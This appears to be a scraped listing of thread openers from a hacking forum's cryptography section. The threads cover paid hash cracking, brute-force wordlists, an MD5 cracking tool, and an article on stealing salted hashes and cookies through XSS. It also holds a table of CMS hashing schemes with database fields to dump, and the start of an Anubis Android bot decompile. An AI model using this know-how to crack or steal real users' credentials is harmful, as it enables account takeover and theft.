Cryptography

Взлом хешей (любые, кроме WiFi Handshake)
ID: 676536fbb4103b69df373713
Thread ID: 7935
Created: 2006-04-17T17:32:35+0000
Last Post: 2024-12-20T03:06:18+0000
Author: SelF
Replies: 5K Views: 6M

Предлагаю в этом разделе постить хеши, которые необходимо взломать. Хеши могут быть любого типа. Взломавшему хеш - "+" к репутации.
ВАЖНО!!! При вбиве хеша позаботьтесь об окружающих - выложите тип хеша

Изменения в правилах!

В связи с сомнениями администрации форума о возможности накрутки репутации хеши, которые рассчитаны от простых сочетаний (любой набор символов длиной до 6 знаком и буквенно-цифровой набор длиной до 7 знаков) взломавшим его засчитываться не будут.
Повышение репутации будет производиться только АКТИВНЫМ пользователям, постоянно расшифровываюзих чужие хеши.

=============================================================
Внимание!

Брутфорс паролей WiFi (wpa/wpa2) Handshake только здесьhttps://xss.is/threads/65030/
=============================================================
В теме есть пользователи которые выкладывают на расшифровку платные хеши.
Если у вас появились хоть малейшие сомнения в честности исполнителя или заказчика.
Обращайтесь за верификацией, и подтверждением об оплате к модератору раздела.
Старайтесь не платить до тех пор, пока модератор не проверит пароль.

There are users in the topic who post hashes for decryption for a fee.
If you have any doubts about the honesty of the contractor or the customer.
Please contact the moderator of the section to verify the password and confirm the payment.
Try not to pay until the moderator checks the password.

Словари для брутфорса
ID: 676536fbb4103b69df37373d
Thread ID: 8351
Created: 2006-05-09T17:01:18+0000
Last Post: 2024-09-19T12:56:53+0000
Author: WindowsME
Replies: 140 Views: 105K

Народ подкиньте плз словарик для брутуса
[mod][SelF:] Тема закреплена. Сюда выкладываем линки на словари.[/mod]

Аналоги TrueCrypt
ID: 676536fbb4103b69df373746
Thread ID: 27576
Created: 2019-01-30T20:50:49+0000
Last Post: 2024-08-28T07:58:56+0000
Author: lukas
Replies: 27 Views: 73K

TrueCrypt помер, даже если найти старые еще оригинальные и чистые сборки, все равно в нем вылезла куча багов
что юзать вместо? VeraCrypt? или есть что-то надежнее?

Книги по криптографии
ID: 676536fbb4103b69df373715
Thread ID: 7718
Created: 2006-04-10T13:38:59+0000
Last Post: 2024-07-17T11:00:55+0000
Author: SelF
Replies: 24 Views: 34K

Здесь будут размещаться линки на книги по криптографии

1. Шеннон. Теория связи в секретных системах
Материал, изложенный в данной статье, первоначально составлял содержание секретного доклада «Математическая теория криптографии», датированного 1 сентября 1945 г, который в настоящее время рассекречен
Шеннон. Теория связи в секретных системах.
Формат - pdf
Размер - 727 kB.
страниц - 49

2. Брассар. Современная криптография
Эта сравнительно небольшая книжка отражает многочисленные, как теоретические, так и практические аспекты современной криптологии, которые уже стали или становятся частью повседневной жизни. Информационно очень емкая, она написана на концептуальном уровне,неформально и с большим мастерством. Автор книги - известнейший специалист в области криптологии, член совета директоров Международной ассоциации криптологических исследований, главный редактор журнала Journal of Cryptology, один из основоположников квантовой криптографии и соавтор открытия квантовой телепортации профессор Монреальского университета Жиль Брассар. Оригинальная английская версия книги была опубликована в серии Lecture Notes in Computer Science, где печатаются труды основных ежегодных конференций по криптологии - CRYPTO и EUROCRYPT. Для широкого круга читателей, интересующихся проблемами криптографии и ее применений
Весит ~ 1,5 Мб
Брассар. Современная криптография

3. Коутинхо. Введение в теорию чисел. Алгоритм RSA
Это книга для математиков и криптографов. К тому же весит достаточно много - 40,5 Мб
Файл 1
Файл 2
Файл 3

Хэш коллизии md5
ID: 676536fbb4103b69df373940
Thread ID: 5617
Created: 2005-11-17T17:00:48+0000
Last Post: 2006-02-10T14:52:35+0000
Author: Winux
Replies: 43 Views: 20K

Программа для поиска хэш коллизий md5
Сначала введу в суть дела. Один и тот же мд5 хэш может шифровать несколько разных слов. Предположим админ поставил пасс, который не взбрутить в МД5 вжизнь. Тут на помощь нам идет та самая программка.

Использовать программу надо следующим образом:
Берется хэш md5, разбивается на 4 части, и передается в качестве аргументов программе:

Code:Copy to clipboard

./md5coll b136ee6c 797c1a85 1260b9c1 ab5ff414

У программы открыты исходники и скачать их можно тут

А вот и сам бинарник проги:
:zns5: Скачать|Download

Исходники криптоалгоритмов
ID: 676536fbb4103b69df3738d1
Thread ID: 17155
Created: 2009-03-16T20:14:06+0000
Last Post: 2019-10-27T19:48:15+0000
Author: Mr.Di
Replies: 6 Views: 20K

Как всегда ночь, нефиг делать, решил взяться за реализацию некоторых криптоалгоритмов. Для начала это будет шифр Вернама более известный многим как XOR (или исключающее или).
Реализация будет на двух языкак, PHP и JS.
PHP:

Code:Copy to clipboard

function xor_php($text, $key){
	$str = '';
	for ($i = 0; $i < strlen($text); $i++) {
  $str .= chr(ord($text[$i]) ^ ord($key[$i % strlen($key)]));
    }
	return $str;
}

JS:

Code:Copy to clipboard

function xor_js(text, key){
	var enc = '';
	for (var i = 0; i < text.length; i++) {
  enc += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return enc;
}

Как будет время, буду дополнять топ по мере свободного времени и отковыривании в свои старых сорца разных алгоритмов.

Помощь с определением типа хеша
ID: 676536fbb4103b69df37388f
Thread ID: 39540
Created: 2008-11-25T11:26:53+0000
Last Post: 2020-11-10T12:26:59+0000
Author: DezMond
Replies: 44 Views: 14K

Помогите узнать, что за способ шифрования пароля используется, срочно нужно!!!
Shadow(Login)::5fcc735428e45938(pas)

личный криптер
ID: 676536fbb4103b69df3738d6
Thread ID: 31247
Created: 2019-08-22T03:21:36+0000
Last Post: 2019-10-11T15:13:29+0000
Author: ceancorp
Replies: 31 Views: 14K

было бы возможно создать собственный криптор ??

Соль и хеш
ID: 676536fbb4103b69df373900
Thread ID: 7657
Created: 2006-04-04T12:43:54+0000
Last Post: 2010-04-20T20:28:40+0000
Author: Robin Gud
Prefix: Статья
Replies: 37 Views: 13K

Тут я вижу возникает много вопросов о том, что такое Соль и с чем собственно её едят =).
Хотелось бы немного прояснить ситуацию.
Что необходимо понять в первую очередь...
В первую очередь необходимо хотя бы поверхностно понять алгоритм хеширования.
Будем разбираться на примере форумов IPB => 2.0.*
В этих форумах алгоритм следующий : md5(md5($salt).md5($pass)).
Для справки,в форумах IPB <= 2.0.* алгоритм такой : md5.
Теперь разберём всё на примере.
Допустим у нас есть пароль: 123.
При регистрации в форумах IPB <= 2.0.* наш пароль хешируется алгоритмом md5 и преобразуется в такую строку: 202cb962ac59075b964b07152d234b70. Таким образом,поимев этот хеш, стырив Cookies жертвы,мы можем эту строку расшифровать благодаря множеству существующих программ и т.д. Всё просто.(Лишь бы пароль был не сильно мудрёный).
Теперь переходим к IPB => 2.0.* .
Что мы видим: md5(md5($salt).md5($pass))

PHP:Copy to clipboard

[/color].
Даю определение [color=orange]Salt[/color] - она-же [color=orange]Соль[/color].
[color=orange]Salt[/color] - это сгенерированные скриптом данные, которые усложняют подбор пароля после хеширования.А как она усложняет мы сейчас разберёмся.
В IPB соль состоит из пяти случайно сгенерированных символов.
Пример: [color=orange]kHa$+[/color] или [color=orange]@pBuc[/color]
Теперь по порядку:
Допустим мы регистрируемся в форуме IPB => 2.0.* всё с тем-же паролем: [color=red]123[/color]. Что происходит...
1)Скрипт генерирует нам случайным образом соль(у всех пользователей она будет разная) и заносит её в базу данных.
Допустим нам сгенерировал вот такую : [color=orange]XzNaX[/color].
2)Скрипт берёт нашу соль и хеширует её методом md5.
Получилось вот так: [color=orange]b9b91789bc2f1b3735e67f77d46053fa[/color].Это у нас и есть [color=orange]md5($salt)[/color].
3)Скрипт берёт наш пароль (у нас он [color=red]123[/color]) и тоже хеширует его методом md5.
Получилось вот так: [color=red]202cb962ac59075b964b07152d234b70[/color].Это у нас и есть [color=red]md5($pass)[/color].
4)Скрипт берёт нашу хешированную соль и наш хешированный пароль,и снова хеширует их методом md5.
Если подставить в нашу формулу: md5([color=orange]md5($salt).[/color][color=red]md5($pass[/color]))[PHP] полученные два хеша,увидим следующее:
md5([color=orange]b9b91789bc2f1b3735e67f77d46053fa[/color].[color=red]202cb962ac59075b964b07152d234b70[/color]) Где точка в PHP означает продолжение строки.А значит скрипт берёт эти два хеша без точки([color=orange]b9b91789bc2f1b3735e67f77d46053fa[/color][color=red]202cb962ac59075b964b07152d234b70[/color]) и хеширует их методом md5.
Получаем хеш : [color=green]e509e1f6df1450279ec37dd253bd5b1e[/color].
Вот это и есть [color=green]солёный хеш[/color].
Авторизация пользователя происходит следующим образом.
Наш пользователь вводит свой ID(ник) и пароль.
Скрипт подставит соль соответствующую введенному ID,и пароль,который вы ввели.
В нашем примере получится так : md5(md5([color=orange]XzNaX[/color]).md5([color=red]123[/color]))[PHP]
Потом он обработает эти данные и сверит их с нашим [color=green]солёным[/color] хешем.
Если данные совпадают,то вы авторизированы.Если нет,то вам напишут...
Теперь о том что, где хранится в IPB => 2.0.*
В разных форумах по разному.Но в дефолтовых версиях в базе данных можно найти:
Директория forummembers: тут хранится "legacy_password". Это не [color=green]солёный[/color],простой md5 хеш.
Директория forummembers_converge:тут хранится "converge_pass_hash" .Это солёный,итоговый md5 хеш,с которым скрипт сверяется при авторизации.И в этой-же дирректории хранится "converge_pass_salt" .Это та самая соль,которую все желают поиметь =).
Теперь делаем выводы.
При XSS атаке мы получаем на сниффер [color=green]солёный хеш[/color] .Что он нам даёт?Да вообщем-то ничего,кроме того,что мы можем подменив Cookies зайти на форум от имени жертвы.Получить пароль из этого хеша не представляется возможным,потому как мы не знаем Соль.
Вы спросите,а как получить соль?
Только не через Cookies жертвы! В Cookies она не хранится.
Соль можно добыть сплойтами,SQL иньекциями и т.д.(Смотрим видео Coyl'a: [url=http://video.antichat.ru/file25.html]http://video.antichat.ru/file25.html[/url] ,читаем форум).Вообщем для того что-бы её получить нужно попасть в базу данных форума.Там же в базе данных можно подсмотреть "legacy_password" ,тот самый не солёный хеш,который можно расшифровать без Соли.
Ну вот,пока всё...

====================================================
Статья не моя, но жутко полезная...Лично мне она очень помогла...
Всем советую переходить с OTR на ОМЕМО!!!!
ID: 676536fbb4103b69df3738c9
Thread ID: 28020
Created: 2019-02-24T19:26:43+0000
Last Post: 2019-12-05T04:38:24+0000
Author: kerberos
Replies: 36 Views: 13K

Долго расписывать не буду, выдерну из википедии:

OMEMO is an extension to the Extensible Messaging and Presence Protocol (XMPP, "Jabber") for multi-client end-to-end encryption developed by Andreas Straub. According to Straub, OMEMO uses the Double Ratchet Algorithm "to provide multi-end to multi-end encryption, allowing messages to be synchronized securely across multiple clients, even if some of them are offline".[1] The name "OMEMO" is a recursive acronym for "OMEMO Multi-End Message and Object Encryption". It is an open standard based on the Double Ratchet Algorithm and the Personal Eventing Protocol (PEP, XEP-0163).[2] OMEMO offers future and forward secrecy and deniability with message synchronization and offline delivery.

Click to expand...

от себя добавлю ряд плюшек в ОМЕМО чего нет в ОТР

  1. врубается автоматом
  2. можно слать зашифрованные мессаги в офлайн
  3. можно передавать файло на прямую
  4. написано челом кто написал Signal

Плагины есть под (почти) все джабер клинты

Почитать что оно такое можно здесь:
conversations.im/omemo/
en.wikipedia.org/wiki/OMEMO

Безопасность превыше всего!!!!!!!!!!!!!!!!!

Алгоритмы хэширования в веб-движках
ID: 676536fbb4103b69df373851
Thread ID: 26284
Created: 2018-10-09T14:03:38+0000
Last Post: 2021-09-03T14:40:44+0000
Author: tabac
Replies: 1 Views: 10K

Алгоритмы хэширования в веб-движках (cms, форумы, блоги, журналы, оболочки)

Предлагаю в этой теме рассматривать и собирать алгоритмы хеширования в существующих веб-движках. Дополнения приветствуются.

1024cms
md5($pass)

1C Битрикс
md5($pass)

4images
md5($pass)

ABO CMS
md5($pass)

AdaptCMS Lite 1.5
md5($pass)

Adrevenue
md5($pass)

AEF
md5($salt.$pass)

AIOCP
md5($pass)

Artiphp
md5($pass)

AVE CMS
md5(md5($pass))

Aqua CMS
plaintext

b2evolution
md5($pass)

Basecmp
md5($pass)

bbPress
md5($pass)

beContent
md5($pass)

Beehive
md5($pass)

BIGACE
md5($pass)

Bitrix
md5($pass)

bitweaver
md5($pass)

bloofoxCMS
md5($pass)

Cambio 0.5a
md5($pass)

ClanTiger
md5($pass)

ClanSphere
md5($pass) or sha1($pass)

CMScout
md5($pass)

CMS Made Simple
md5($pass)

Contenido
md5($pass)

Cotonti 0.6.8
md5($pass)

CPG-Nuke
md5($pass)

CruxCMS
md5($pass)

daisy
sha1

Danneo CMS
md5($pass)

DataLife Engine (DLE)
md5(md5($pass))

DBHcms
md5($pass)

DeluxeBB
md5($pass)

Diferior
md5(md5($pass))

Digitalus 1.8.1
md5($pass)

DotNetNuke default
sha1($pass)

e107
md5(md5($pass))

eazyPortal
md5($pass)

ecshoprus
md5($pass)

eFront 3.6.4
md5($pass.'cDWQR#$Rcxsc')

eliteCMS
sha1($pass)

Elxis
md5($pass)

Enano CMS
md5($pass)

eoCMS
md5($pass)

Etomite
md5($pass)

Explay
md5($pass)

Exponent
md5($pass)

Flux CMS
md5($pass)

Frog
sha1($pass)

FUDforum
md5($pass)

Fundanemt
md5($pass)

glFusion
md5($pass)

GeekLog
md5($pass)

Icy Phoenix
md5($pass)

iDevAffiliate
sha1 ('idev_secret' . $password);

iGaming CMS
md5($pass)

Injader
md5($pass)

Intellect Board
md5($pass)

ImpressCMS
md5($pass)

IPB 1.x.x
md5($pass)

IPB 1.3-2.17 (IPB 2.x.x.):
md5(md5($salt).md5($pass))

ITA Forum
md5($pass)

Jaws CMS
md5($pass)

**Joomla <=1.0.12 **
md5($pass)

**Joomla >=1.0.13 **
md5($pass.$salt)

Kajona
sha1($pass)

Koobi CMS
md5($pass)

**Koobi CMS >=6 **
md5(md5($pass))

Lanius CMS
md5($pass)

LifeType
md5($pass)

lyceum 1.0.3
md5($pass)

MDPro
md5($pass)

Mambo
md5($pass)

MercuryBoard
md5($pass)

MiaCMS
md5($pass)

MigasCMS
md5($pass)

miniBB
md5($pass)

MODx CMS
md5($pass)

MyBB 1.2.x
md5(md5($salt).md5($pass))

Nucleus 3.50
md5($pass)

osCommerce
md5($salt.$pass)

PBLang
md5($pass)

pecio cms
sha1($pass)

PHP-Fusion
md5($pass)

PHP-Nuke
md5($pass)

PhpBB 2.0.x
md5($pass)

**PhpBB >=3 **
md5($phpbb3)

PhpMyForum
md5($pass)

PhpMySport
md5($pass)

phpWebThings
md5($pass)

PHPX CMS
md5($pass)

phpwcms
md5($pass)

PLUME CMS
md5($pass)

PunBB 1.2.x
md5($pass) или SHA-1

PostNuke
md5($pass)

QuickSilver Forum
md5($pass)

radiant
sha1(sha1($pass))

Refbase (Web Reference Database)
DES(Password, $salt) $salt = substr(email, 0, 2)

RunCMS
sha1($username.$pass) или md5($pass)

Scripteen Free Image Hosting Script
md5($pass)

Seditio
md5($pass)

**Serendipity <=1.4.1 **
md5($pass)

**Serendipity >= 1.5.x **
sha1($pass)

SilverStripe
md5($pass)

Slaed CMS
md5($pass)

SmallNuke 2.0.4
md5($pass)

SMF 1.0.x.:
md5(HMAC)

SMF 1.1.x.
sha1($username.$pass)

sNews
md5($pass)

Snitz Forums 2000
SHA-256

Subrion v 1.1.0.0
md5($pass)

Tinypug
md5($pass)

TangoCMS 2.3.x
md5($pass)

Triton CMS
md5($pass)

Typo3
md5($pass)

Tribiq CMS
md5($pass)

UMI.CMS
md5($pass)

UseBB
md5($pass)

Vanilla
md5($pass)

vBulletin 3.54 (vBulletin 3.x.x):
md5(md5($pass).$salt)

VikingBoard
md5($pass)

Voodoo chat
md5($pass)

W-Agora
md5($pass)

Website Baker
md5($pass)

webSPELL CMS v4.0
md5($pass)

whCMS v0.115 alpha
md5($pass)

Wordpress
md5($pass)

Wordpress 2.6.0\2.6.1
md5($phpbb3)

**Wordpress >=2.6.2 **
md5($wordpress)

WWWThreads
des($pass)

Xaraya
md5($pass)

XMB Forum
md5($pass)

XOOPS
md5($pass)

YaBB
md5(HMAC)

Voodoo chat
md5($pass)

Добавлено в [time]1539093482[/time]
Распространенные CMS:

Code:Copy to clipboard

------------------------------------------------------
| Название               | Алгоритм хеширования      
------------------------------------------------------
| Joomla >=1.0.13        | md5($pass.$salt)        
| IPB 2.x.x.:            | md5(md5($salt).md5($pass))  
| vBulletin 3.x.x:       | md5(md5($pass).$salt)  
| DataLife Engine        | md5(md5($pass))      
| osCommerce             | md5($salt.$pass)
| SMF 1.1.x.:            | sha1($username.$pass)
| Wordpress >=2.6.2      | md5($wordpress)  
| PhpBB >=3              | md5($phpbb3)

Примеры хэшей из распространенных CMS:

Code:Copy to clipboard

------------------------------------------------------------------------------
| Название               |               Пример хэша   
------------------------------------------------------------------------------
| Joomla >=1.0.13        | b990ea9d8705a2e1561fa9ebf5052d5a:Hqawg6vlrq3nqI4i
| IPB 2.x.x.:            | 3ee8b35f9a15b0f257c79ded73d28cb5:gEA_Z   
| vBulletin 3.x.x:       | cc8e4f14b0b016006261a53013526987:*|/   
| osCommerce             | a0e41c3f2453bca43a9fa7cd2374ce08:7b
| SMF 1.1.x.:            | user:2d6b9ec9a105e2dc771a95bd0d855e570a765469:bf76
| Wordpress >=2.6.2      | $P$BHUnawZ54ZdpoZOm4sbVAK0 
| PhpBB >=3              | $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70

Все CMS, для которых известны алгоритмы хэширования:

Code:Copy to clipboard

1024cms [SIZE=1]md5($pass)[/SIZE]
ABO CMS [SIZE=1]md5($pass)[/SIZE]
AdaptCMS Lite 1.5 [SIZE=1]md5($pass)[/SIZE]
AEF [SIZE=1]md5($salt.$pass)[/SIZE]
AIOCP [SIZE=1]md5($pass)[/SIZE]
Artiphp [SIZE=1]md5($pass)[/SIZE]
Atlassian JIRA [SIZE=1]SHA-512(Base64)[/SIZE]
AVE CMS [SIZE=1]md5(md5($pass))[/SIZE]
b2evolution [SIZE=1]md5($pass)[/SIZE]
beContent [SIZE=1]md5($pass)[/SIZE]
Beehive [SIZE=1]md5($pass)[/SIZE]
BIGACE [SIZE=1]md5($pass)[/SIZE]
Bitrix [SIZE=1]md5($pass)[/SIZE]
bitweaver [SIZE=1]md5($pass)[/SIZE]
bloofoxCMS [SIZE=1]md5($pass)[/SIZE]
ClanTiger [SIZE=1]md5($pass)[/SIZE]
ClanSphere [SIZE=1]md5($pass) or sha1($pass)[/SIZE]
CMScout [SIZE=1]md5($pass)[/SIZE]
CMS Made Simple [SIZE=1]md5($pass)[/SIZE]
Contenido [SIZE=1]md5($pass)[/SIZE]
CPG-Nuke [SIZE=1]md5($pass)[/SIZE]
CruxCMS [SIZE=1]md5($pass)[/SIZE]
Danneo CMS [SIZE=1]md5($pass)[/SIZE]
DataLife Engine [SIZE=1]md5(md5($pass))[/SIZE]
DeluxeBB [SIZE=1]md5($pass)[/SIZE]
Diferior [SIZE=1]md5(md5($pass))[/SIZE]
Digitalus 1.8.1 [SIZE=1]md5($pass)[/SIZE]
DotNetNuke [SIZE=1]default - sha1($pass)[/SIZE]
e107 [SIZE=1]md5(md5($pass))[/SIZE]
eazyPortal [SIZE=1]md5($pass)[/SIZE]
ecshoprus [SIZE=1]md5($pass)[/SIZE]
eliteCMS [SIZE=1]sha1($pass)[/SIZE]
Elxis [SIZE=1]md5($pass)[/SIZE]
eoCMS [SIZE=1]md5($pass)[/SIZE]
Etomite [SIZE=1]md5($pass)[/SIZE]
Exponent [SIZE=1]md5($pass)[/SIZE]
Flux CMS [SIZE=1]md5($pass)[/SIZE]
Frog [SIZE=1]sha1($pass)[/SIZE]
FUDforum [SIZE=1]md5($pass)[/SIZE]
Fundanemt [SIZE=1]md5($pass)[/SIZE]
glFusion [SIZE=1]md5($pass)[/SIZE]
GeekLog [SIZE=1]md5($pass)[/SIZE]
Icy Phoenix [SIZE=1]md5($pass)[/SIZE]
iDevAffiliate [SIZE=1]$pass= sha1 ('idev_secret' . $password);[/SIZE]
iGaming CMS [SIZE=1]md5($pass)[/SIZE]
Injader [SIZE=1]md5($pass)[/SIZE]
Intellect Board [SIZE=1]md5($pass)[/SIZE]
IPB 1.x.x [SIZE=1]md5($pass)[/SIZE]    
IPB 1.3-2.17 (IPB 2.x.x.): [SIZE=1]md5(md5($salt).md5($pass))[/SIZE]
ITA Forum [SIZE=1]md5($pass)[/SIZE]
Jaws CMS [SIZE=1]md5($pass)[/SIZE]
Joomla <=1.0.12 [SIZE=1]md5($pass)[/SIZE]
Joomla >=1.0.13 [SIZE=1]md5($pass.$salt)[/SIZE]
Kajona [SIZE=1]sha1($pass)[/SIZE]
Koobi CMS [SIZE=1]md5($pass)[/SIZE]
Koobi CMS >=6 [SIZE=1]md5(md5($pass))[/SIZE]
Lanius CMS [SIZE=1]md5($pass)[/SIZE]
LifeType [SIZE=1]md5($pass)[/SIZE]
MDPro [SIZE=1]md5($pass)[/SIZE]
MercuryBoard [SIZE=1]md5($pass)[/SIZE]
MiaCMS [SIZE=1]md5($pass)[/SIZE]
MigasCMS [SIZE=1]md5($pass)[/SIZE]
miniBB [SIZE=1]md5($pass)[/SIZE]
MODx CMS [SIZE=1]md5($pass)[/SIZE]
MyBB 1.2.x [SIZE=1]md5(md5($salt).md5($pass))[/SIZE]
Nucleus 3.50 [SIZE=1]md5($pass)[/SIZE]
osCommerce [SIZE=1]md5($salt.$pass)[/SIZE]
PBLang [SIZE=1]md5($pass)[/SIZE]
pecio cms [SIZE=1]sha1($pass)[/SIZE]
PHP-Fusion [SIZE=1]md5($pass)[/SIZE]
PHP-Nuke [SIZE=1]md5($pass)[/SIZE]
PhpBB 2.0.x [SIZE=1]md5($pass)[/SIZE]
PhpBB >=3 [SIZE=1]md5($phpbb3)[/SIZE]
PhpMyForum [SIZE=1]md5($pass)[/SIZE]
PhpMySport [SIZE=1]md5($pass)[/SIZE]
phpWebThings [SIZE=1]md5($pass)[/SIZE]
PHPX CMS [SIZE=1]md5($pass)[/SIZE]
phpwcms [SIZE=1]md5($pass)[/SIZE]
PLUME CMS [SIZE=1]md5($pass)[/SIZE]
PunBB 1.2.x [SIZE=1]md5($pass) or an SHA-1[/SIZE]
QuickSilver Forum [SIZE=1]md5($pass)[/SIZE]
radiant [SIZE=1]sha1(sha1($pass))[/SIZE]
Refbase (Web Reference Database) [SIZE=1]DES(Password, $salt) $salt = substr(email, 0, 2)[/SIZE]
RunCMS sha1($username.$pass) or [SIZE=1]md5($pass)[/SIZE]
Scripteen Free Image Hosting Script [SIZE=1]md5($pass)[/SIZE]
Seditio [SIZE=1]md5($pass)[/SIZE]
Serendipity <=1.4.1 [SIZE=1]md5($pass)[/SIZE]
Serendipity >= 1.5.x [SIZE=1]sha1($pass)[/SIZE] 
Slaed CMS [SIZE=1]md5($pass)[/SIZE]
SMF 1.0.x.: [SIZE=1]md5(HMAC)[/SIZE]
SMF 1.1.x.: [SIZE=1]sha1($username.$pass)[/SIZE]
sNews [SIZE=1]md5($pass)[/SIZE]
Snitz Forums 2000 [SIZE=1]SHA-256[/SIZE]
Subrion v 1.1.0.0 [SIZE=1]md5($pass)[/SIZE]
Tinypug [SIZE=1]md5($pass)[/SIZE]
TangoCMS 2.3.x [SIZE=1]md5($pass)[/SIZE]
Triton CMS [SIZE=1]md5($pass)[/SIZE]
Typo3 [SIZE=1]md5($pass)[/SIZE]
UseBB [SIZE=1]md5($pass)[/SIZE]
Vanilla [SIZE=1]md5($pass)[/SIZE]
vBulletin 3.54 (vBulletin 3.x.x): [SIZE=1]md5(md5($pass).$salt)[/SIZE]
VikingBoard [SIZE=1]md5($pass)[/SIZE]
W-Agora [SIZE=1]md5($pass)[/SIZE]
Website Baker [SIZE=1]md5($pass)[/SIZE]
webSPELL CMS v4.0 [SIZE=1]md5($pass)[/SIZE]
Wordpress [SIZE=1]md5($pass)[/SIZE]
Wordpress 2.6.0\2.6.1 [SIZE=1]md5($phpbb3)[/SIZE]
Wordpress >=2.6.2 [SIZE=1]md5($wordpress)[/SIZE]
WWWThreads [SIZE=1]des($pass)[/SIZE]
Xaraya [SIZE=1]md5($pass)[/SIZE]
XMB Forum [SIZE=1]md5($pass)[/SIZE]
XOOPS [SIZE=1]md5($pass)[/SIZE]
YaBB [SIZE=1]md5(HMAC)[/SIZE]

CMS, для которых неизвестны алгоритмы хэширования:

Code:Copy to clipboard

[COLOR=Red]Платные:[/COLOR]
abcOnline-CMS
ProFusion Ultra IS
Powerfront CMS
LaunchPoint CMS
lemoon CMS
COMSHARP CMS
EIBS EasySite CMS
Immediacy
Jadu
Sitekit CMS
EPiServer
Sitecore
OnBase (Hyland Software)
Microsoft Office SharePoint Server (Services)
AlterFiction
Community Server
Kentico CMS
MonoX
OrangeLogix
RelationshipList - Work by Referral
Adobe Contribute Publishing Server (CPS)
Day Communiqué WCM
Traction TeamPage
Jalios JCMS
Blue Light CMS
Cascade Server
TerminalFour Site Manager
Noodle
FatWire Content Server
CoreMedia CMS
Vignette
Lotus Web Content Management
Refresh Software - SR2 (Component Content Management)
Clickability
Cubic Compass
Site Masher

[COLOR=Red]Бесплатные[/COLOR]
jAPS
Jahia
OpenCms
Liferay
Fedora
DotCMS
Nuxeo EP
Alfresco
Magnolia
Apache Lenya
Daisy
blosxom
Bricolage
Socialtext Open
TWiki
Scoop
Slash
WebGUI
Cyclone3
Movable Type
Aqua CMS
BLOG:CMS
Cambio
CivicSpace
Drupal
eFront
GCMS
ImpressCMS
Jojo CMS
KnowledgeTree Document Management System
Lyceum
Mambo
OneCMS
Opus
PHPSlash
SilverStripe
SPIP
TangoCMS
Textpattern
TGS Content Management
The System
Tribiq CMS
TYPO3
whCMS
Midgard CMS
MediaWiki
Merlintalk
phpWebSite
Dotclear
Habari
eZ Publish
CMSimple
Dokuwiki
phpCMS
PmWiki
razorCMS
Quick.Cms.Lite
TikiWiki CMS/Groupware
phpWiki
MoinMoin
Nuxeo CPS
Plone
PyLucid
Byteflow
Zena
Nooto
Typo
DotNetNuke
Xaraya
XOOPS Cube
Serendipity
OpenACS

Добавлено в [time]1539093524[/time]
А так же..

AdaptCMS Lite 1.5 md5($pass)
./admin.php
./dbinfo.php
....[prefix]users (default prefix adaptcms):
.......username
.......password
.......email
.......level

Digitalus 1.8.1 md5($pass)
/admin/
/application/data/config.xml
....users
.......first_name
.......email
.......password

Nucleus 3.50 md5($pass)
./config.php
....nucleus_member:
.......mname
.......mpassword
.......memail
.......mcanlogin
.......mcookiekey

PhpWebSite 1 6 3 md5($pass)
/admin/index.php
/setup/config.php
....user_authorization
.......username
.......password

Subrion v 1.1.0.0 md5($pass)
/admin/index.php
/install/config.inc.php.sample
....prefix_accounts (default prefix SBR_):
.......username
.......password
.......email
.......sec_key

....prefix_admins:
.......username
.......password
.......email
.......sec_key

Добавлено в [time]1539093818[/time]
MODX Evolution <= 1.0.6: md5($pass)
MODX Revolution <= 2.1.0-rc-1: md5($pass)
MODX Revolution >= 2.1.0-rc-1: PBKDF2 (есть возможность задать любой алгоритм)

XenForo 1
sha256(sha256($pass).$salt)
или же XenForo
'sha256', hash('sha256', $password) . $salt

data-cfemail
ID: 676536fbb4103b69df37388a
Thread ID: 46083
Created: 2020-12-28T01:51:41+0000
Last Post: 2020-12-29T13:16:54+0000
Author: likaku
Replies: 3 Views: 10K

Начал парсить один сайт, а там вместо почт вот такое [email protected]

Видел онлайн сервисы по расшифровке, но это совсем не вариант.
Есть ли какая-то утилита, которой можно скормить этот файл, и она расшифрует все эти строки на выходе?

[Game] Who is smart here?
ID: 676536fbb4103b69df3738a1
Thread ID: 35451
Created: 2020-03-11T01:38:09+0000
Last Post: 2020-09-02T16:49:19+0000
Author: Joynses
Replies: 35 Views: 10K

Добрый день, дорогие форумчане!

В этой теме будут публиковаться задания, которые вам нужно будет решить.

Spoiler: Правила

  1. Напишите в комментариях "Я в игре".
  2. Если вы решили задание - пишите ответ мне в лс (именно в личные сообщения).
  3. Тех, кто ответит правильно буду помечать лайком. Удачи.

Первое задание (https://yadi.sk/i/gO_xyI2whL8QnA)
Какой пароль спрятан в этой картинке?

Второе задание (https://yadi.sk/i/DPBbNJJOw1iP0A)
Какой пароль спрятан в этой картинке?

Как вытягивать хеш
ID: 676536fbb4103b69df37391b
Thread ID: 9157
Created: 2006-06-10T21:24:19+0000
Last Post: 2006-11-10T18:55:27+0000
Author: hawk2000
Replies: 26 Views: 10K

Объясните мне пожалуйста: Как витянуть хеш от пароля. Ато ломать хешы научился а как их вытянуть не знаю.

Брут MD5
ID: 676536fbb4103b69df37393e
Thread ID: 6363
Created: 2006-01-05T21:35:54+0000
Last Post: 2006-03-29T11:10:19+0000
Author: Winux
Replies: 19 Views: 9K

Много слов сказано в пользу алгоритма МД5. Что мол расшифровать его нельза, только брутить. Брутить приходится целую вечность. Как только кодеры не извращались, дабы ускорить процесс брута. Вот как раз еще одно творение мастера кодинга на ассемблере. почетного пользователя нашего форума, господина под ником BUG(O)R :crazy:
Advances MD5 Recovery 1.0
Ничем оригинальным данная программа не отличается, это брут md5 хешей по словарю, писался на камне AMD, под него и был оптимизирован, поэтому по скоростьи на этих камнях не уступает последним версиям passwordpro и обходит в два раза последнюю версию md5insade. Как заверяет автор, интерфейс программы не богат, так как основной целью было сделать компактный и легкий брутер по словарю.
Ахтунг! Прога весит всего 3 кб![New$paN]
:zns5: Скачать|Download

Ломаем крипт анубис бота за 3000$
ID: 676536fbb4103b69df3738ac
Thread ID: 36094
Created: 2020-04-05T05:49:50+0000
Last Post: 2020-05-20T15:33:41+0000
Author: Hirurg
Replies: 31 Views: 8K

Ломаем громко сказано! Декомпилируем бота и наблюдаем следующую картину

[CLIKE]
Так и знал что ананируешь на анубиса?
Тогда получи код:
package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;

import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
